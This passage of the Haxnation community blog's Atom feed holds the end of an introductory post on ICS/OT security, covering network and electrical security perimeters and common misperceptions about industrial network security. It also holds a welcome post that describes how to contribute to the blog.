<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="23-network-perimeters-and-electrical-security-perimeters-esp">2.3 Network Perimeters and Electrical Security Perimeters (ESP)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#23-network-perimeters-and-electrical-security-perimeters-esp" class="hash-link" aria-label="Direct link to 2.3 Network Perimeters and Electrical Security Perimeters (ESP)" title="Direct link to 2.3 Network Perimeters and Electrical Security Perimeters (ESP)" translate="no">​</a></h3>
<p><strong>Network Perimeters:</strong></p>
<ul>
<li class=""><mark>The boundary or demarcation line between one security zone and another, or between the ICS and external networks (enterprise IT, internet).</mark></li>
<li class="">Controlled through firewalls, gateways, and monitoring points.</li>
<li class="">All traffic crossing perimeters should be inspected, authenticated, and logged.</li>
<li class="">Critical for preventing unauthorized access and lateral spread of threats.</li>
</ul>
<p><strong>Electrical Security Perimeters (ESP):</strong></p>
<ul>
<li class=""><mark>The conceptual or physical boundary that defines which devices and systems are critical to the safe and reliable operation of industrial processes.</mark></li>
<li class="">Defined by NERC CIP standards for the power industry.</li>
<li class="">All access points (physical and logical) to the ESP must be monitored and controlled.</li>
<li class="">Systems outside the ESP have fewer security requirements but may still impact overall security posture.</li>
<li class="">Example: A power plant's control center, servers, and critical field devices form the ESP, while administrative offices may fall outside.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-common-misperceptions-about-industrial-network-security">3. Common Misperceptions About Industrial Network Security<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#3-common-misperceptions-about-industrial-network-security" class="hash-link" aria-label="Direct link to 3. Common Misperceptions About Industrial Network Security" title="Direct link to 3. Common Misperceptions About Industrial Network Security" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="31-air-gaps-are-completely-secure">3.1 Air Gaps are Completely Secure<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#31-air-gaps-are-completely-secure" class="hash-link" aria-label="Direct link to 3.1 Air Gaps are Completely Secure" title="Direct link to 3.1 Air Gaps are Completely Secure" translate="no">​</a></h3>
<p><strong>Reality:</strong> USB devices, wireless access, and contractors can bypass air gaps. Physical separation helps but isn't a complete security strategy.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="32-security-is-impossible-in-control-environments">3.2 Security is Impossible in Control Environments<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#32-security-is-impossible-in-control-environments" class="hash-link" aria-label="Direct link to 3.2 Security is Impossible in Control Environments" title="Direct link to 3.2 Security is Impossible in Control Environments" translate="no">​</a></h3>
<p><strong>Reality:</strong> Compensating controls (segmentation, firewalls, monitoring) can provide strong security without traditional patching. Defense-in-depth works in ICS.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="33-security-is-its-responsibility">3.3 Security is IT's Responsibility<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#33-security-is-its-responsibility" class="hash-link" aria-label="Direct link to 3.3 Security is IT's Responsibility" title="Direct link to 3.3 Security is IT's Responsibility" translate="no">​</a></h3>
<p><strong>Reality:</strong> Both IT and operations must collaborate. Operations understands risk tolerance and process constraints; IT provides technical tools.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="34-enterprise-security-tools-work-for-ics">3.4 Enterprise Security Tools Work for ICS<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#34-enterprise-security-tools-work-for-ics" class="hash-link" aria-label="Direct link to 3.4 Enterprise Security Tools Work for ICS" title="Direct link to 3.4 Enterprise Security Tools Work for ICS" translate="no">​</a></h3>
<p><strong>Reality:</strong> Enterprise tools often cause unacceptable latency or fail on industrial protocols. ICS requires purpose-built solutions respecting <mark>Availability &gt; Confidentiality</mark> priority.</p>
<hr>
<blockquote>
<p><strong>Key Takeaway:</strong> Industrial security is distinct from enterprise security. Success requires collaboration, acknowledgment of constraints, and purpose-built solutions.</p>
</blockquote>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="ICS" term="ICS"/>
        <category label="OT" term="OT"/>
        <category label="SCADA" term="SCADA"/>
        <category label="DCS" term="DCS"/>
        <category label="industrial-security" term="industrial-security"/>
        <category label="critical-infrastructure" term="critical-infrastructure"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Welcome to the Haxnation Blog]]></title>
        <id>https://blog.haxnation.org/welcome-to-Haxnation-blog</id>
        <link href="https://blog.haxnation.org/welcome-to-Haxnation-blog"/>
        <updated>2026-05-23T12:00:00.000Z</updated>
        <summary type="html"><![CDATA[The official Haxnation community blog is live! Learn about what we'll be writing about and how you can contribute your own posts.
]]></summary>
        <content type="html"><![CDATA[<p>We're thrilled to launch the <strong>Haxnation community blog</strong> — a space for insights, research, tutorials, and stories from our growing community.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-to-contribute">How to Contribute<a href="https://blog.haxnation.org/welcome-to-Haxnation-blog#how-to-contribute" class="hash-link" aria-label="Direct link to How to Contribute" title="Direct link to How to Contribute" translate="no">​</a></h2>
<p>Every blog post goes through a review process to maintain quality and security. Here's the flow:</p>
<ol>
<li class=""><strong>Fork</strong> this repository</li>
<li class="">Create your post under <code>blog/&lt;your-github-username&gt;/</code></li>
<li class="">Submit a <strong>Pull Request</strong> to <code>main</code></li>
<li class="">Our automated checks run (authorization + content isolation)</li>
<li class="">A blog-reviewer approves and merges your post</li>
</ol>
<p>Check out the <a href="https://github.com/haxnation/blog/blob/main/CONTRIBUTING.md" target="_blank" rel="noopener noreferrer" class="">Contributing Guide</a> for full details.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="stay-connected">Stay Connected<a href="https://blog.haxnation.org/welcome-to-Haxnation-blog#stay-connected" class="hash-link" aria-label="Direct link to Stay Connected" title="Direct link to Stay Connected" translate="no">​</a></h2>
<p>Follow along at <a href="https://haxnation.org/" target="_blank" rel="noopener noreferrer" class="">Haxnation.org</a>.</p>
<hr>
<p><em>Happy hacking</em> ⚡</p>]]></content>
        <author>
            <name>Haxnation</name>
            <uri>https://github.com/haxnation</uri>
        </author>
        <category label="announcement" term="announcement"/>
        <category label="Haxnation" term="Haxnation"/>
        <category label="community" term="community"/>
    </entry>
</feed>